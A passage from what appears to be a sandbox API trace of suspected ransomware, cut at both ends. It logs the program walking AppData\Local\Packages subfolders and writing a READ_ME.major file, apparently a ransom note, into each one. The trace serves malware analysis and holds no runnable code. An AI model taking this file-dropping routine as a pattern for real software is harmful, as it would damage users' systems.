(hObject=0x90c) returned 1 [0189.624] FindNextFileW (in: hFindFile=0x660d70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x233ecec7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x233ecec7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x233ecec7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0189.624] FindNextFileW (in: hFindFile=0x660d70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771d0d50, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0189.625] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90c [0189.626] WriteFile (in: hFile=0x90c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.626] CloseHandle (hObject=0x90c) returned 1 [0189.626] FindNextFileW (in: hFindFile=0x660d70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771f6fb5, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0189.627] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90c [0189.627] WriteFile (in: hFile=0x90c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.628] CloseHandle (hObject=0x90c) returned 1 [0189.628] FindNextFileW (in: hFindFile=0x660d70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771d0d50, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0189.628] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90c [0189.629] WriteFile (in: hFile=0x90c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.629] CloseHandle (hObject=0x90c) returned 1 [0189.629] FindNextFileW (in: hFindFile=0x660d70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771d0d50, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0189.630] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.apprep.chxapp_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90c [0189.630] WriteFile (in: hFile=0x90c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.631] CloseHandle (hObject=0x90c) returned 1 [0189.631] FindNextFileW (in: hFindFile=0x660d70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771d0d50, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x771d0d50, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x771d0d50, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0189.631] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfb93d2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7975de94, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x233ecec7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660f70 [0189.631] FindNextFileW (in: hFindFile=0x660f70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfb93d2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x7975de94, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x233ecec7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0189.631] FindNextFileW (in: hFindFile=0x660f70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6c02bacc, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x3620a676, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3620a676, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0189.631] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910 [0189.633] WriteFile (in: hFile=0x910, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.634] CloseHandle (hObject=0x910) returned 1 [0189.634] FindNextFileW (in: hFindFile=0x660f70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfdf615, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf13d33b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6bfdf615, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0189.634] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910 [0189.635] WriteFile (in: hFile=0x910, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.636] CloseHandle (hObject=0x910) returned 1 [0189.636] FindNextFileW (in: hFindFile=0x660f70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfdf615, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf13dbc5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6bfdf615, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0189.636] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910 [0189.636] WriteFile (in: hFile=0x910, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.637] CloseHandle (hObject=0x910) returned 1 [0189.637] FindNextFileW (in: hFindFile=0x660f70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfb93d2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf13e364, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6bfb93d2, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0189.637] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910 [0189.638] WriteFile (in: hFile=0x910, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.639] CloseHandle (hObject=0x910) returned 1 [0189.639] FindNextFileW (in: hFindFile=0x660f70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x233ecec7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x233ecec7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x233ecec7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0189.639] FindNextFileW (in: hFindFile=0x660f70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfb93d2, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf13ea5f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6bfb93d2, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0189.639] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910 [0189.642] WriteFile (in: hFile=0x910, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.643] CloseHandle (hObject=0x910) returned 1 [0189.643] FindNextFileW (in: hFindFile=0x660f70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfdf615, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x712a64ad, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x712a64ad, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0189.643] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910 [0189.655] WriteFile (in: hFile=0x910, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.656] CloseHandle (hObject=0x910) returned 1 [0189.656] FindNextFileW (in: hFindFile=0x660f70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7962cbd4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7962cbd4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7962cbd4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0189.656] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910 [0189.657] WriteFile (in: hFile=0x910, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.658] CloseHandle (hObject=0x910) returned 1 [0189.658] FindNextFileW (in: hFindFile=0x660f70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfdf615, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf1e0bc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6bfdf615, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0189.658] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x910 [0189.659] WriteFile (in: hFile=0x910, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.660] CloseHandle (hObject=0x910) returned 1 [0189.660] FindNextFileW (in: hFindFile=0x660f70, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6bfdf615, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf1e0bc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6bfdf615, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0189.660] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd05a99ea, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x233ecec7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660db0 [0189.660] FindNextFileW (in: hFindFile=0x660db0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd05a99ea, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x233ecec7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0189.660] FindNextFileW (in: hFindFile=0x660db0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x74c17df3, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x36446b0c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x36446b0c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0189.660] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x914 [0189.663] WriteFile (in: hFile=0x914, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.664] CloseHandle (hObject=0x914) returned 1 [0189.664] FindNextFileW (in: hFindFile=0x660db0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74bcb92d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf231a5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74bcb92d, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0189.664] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x914 [0189.665] WriteFile (in: hFile=0x914, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.666] CloseHandle (hObject=0x914) returned 1 [0189.666] FindNextFileW (in: hFindFile=0x660db0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74bcb92d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf23226b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74bcb92d, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0189.666] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x914 [0189.666] WriteFile (in: hFile=0x914, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.667] CloseHandle (hObject=0x914) returned 1 [0189.667] FindNextFileW (in: hFindFile=0x660db0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74ba56ed, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcf2329b5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x74ba56ed, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0189.667] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x914 [0189.668] WriteFile (in: hFile=0x914, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0189.669] CloseHandle (hObject=0x914) returned 1 [0189.669] FindNextFileW (in: hFindFile=0x660db0, lpFindFileData=0x2e3fb24 | out: 